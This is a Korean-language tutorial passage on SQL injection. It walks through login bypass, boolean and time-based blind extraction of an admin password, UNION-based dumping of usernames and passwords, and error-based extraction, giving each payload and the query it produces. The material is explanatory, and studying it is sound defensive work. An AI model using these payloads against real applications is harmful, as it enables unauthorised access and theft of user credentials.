
로그인 폼에서 사용자 이름과 비밀번호를 입력받는 경우를 가정해 보자.
일반적인 SQL 쿼리는 아래와 같다
SELECT * FROM users WHERE username = '[username]' AND password = '[password]'
공격자가 사용자 이름 필드에 ' OR '1'='1를 입력하면, SQL 쿼리는 아래와 같이 변한다
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '[password]'
여기서 '1'='1'은 항상 참이므로, 공격자는 비밀번호를 모르더라도 로그인에 성공하게 된다.
사용자의 아이디를 이용해 정보를 조회하는 경우를 가정해 보자.
일반적인 SQL 쿼리는 아래와 같다.
SELECT * FROM users WHERE id = [id]
공격자가 id 필드에
1 AND SUBSTRING((SELECT password FROM users WHERE username = 'admin'), 1, 1) = 'a'
를 입력하면, SQL 쿼리는 아래와 같이 변한다.
SELECT * FROM users WHERE id = 1 AND SUBSTRING((SELECT password FROM users WHERE username = 'admin'), 1, 1) = 'a'
이 쿼리는 관리자의 비밀번호 첫 글자가 'a'인 경우에만 결과를 반환한다.
공격자는 이를 이용해 비밀번호를 하나씩 추측해 나갈 수 있다.
Blind SQL Injection과 비슷하지만, 시간 지연 함수를 사용하여 데이터베이스의 응답 시간을 관찰한다.
만약 공격자가 id 필드에
1 AND IF(SUBSTRING((SELECT password FROM users WHERE username = 'admin'), 1, 1) = 'a', SLEEP(10), 'false')
를 입력하면, SQL 쿼리는 아래와 같이 변한다.
SELECT * FROM users WHERE id = 1 AND IF(SUBSTRING((SELECT password FROM users WHERE username = 'admin'), 1, 1) = 'a', SLEEP(10), 'false')
이 쿼리는 관리자의 비밀번호 첫 글자가 'a'인 경우에만 10초 동안 지연된다.
공격자는 이를 이용해 비밀번호를 하나씩 추측해 나갈 수 있다.
사용자의 아이디를 이용해 정보를 조회하는 경우를 가정해 보자.
공격자가 id 필드에
1 UNION SELECT username, password FROM users
를 입력하면, SQL 쿼리는 아래와 같이 변한다.
SELECT * FROM users WHERE id = 1 UNION SELECT username, password FROM users
이 쿼리는 사용자의 아이디와 비밀번호를 모두 반환한다.
사용자의 아이디를 이용해 정보를 조회하는 경우를 가정해 보자.
공격자가 id 필드에
1 AND (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(username, 0x7e, password)) FROM users WHERE id = 1), FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a
를 입력하면, SQL 쿼리는 아래와 같이 변한다.
SELECT * FROM users WHERE id = 1 AND (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(username, 0x7e, password)) FROM users WHERE id = 1), FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a
이 쿼리는 오류 메시지를 발생시키며, 이 메시지에는 사용자의 아이디와 비밀번호가 포함되어 있다.